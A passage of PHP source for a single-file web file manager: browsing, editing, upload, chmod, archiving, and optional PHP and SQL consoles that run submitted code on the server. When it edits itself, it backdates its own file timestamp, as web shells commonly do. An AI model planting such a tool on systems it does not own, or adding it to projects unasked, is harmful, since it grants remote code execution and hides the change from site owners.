url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/finralsaga/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); 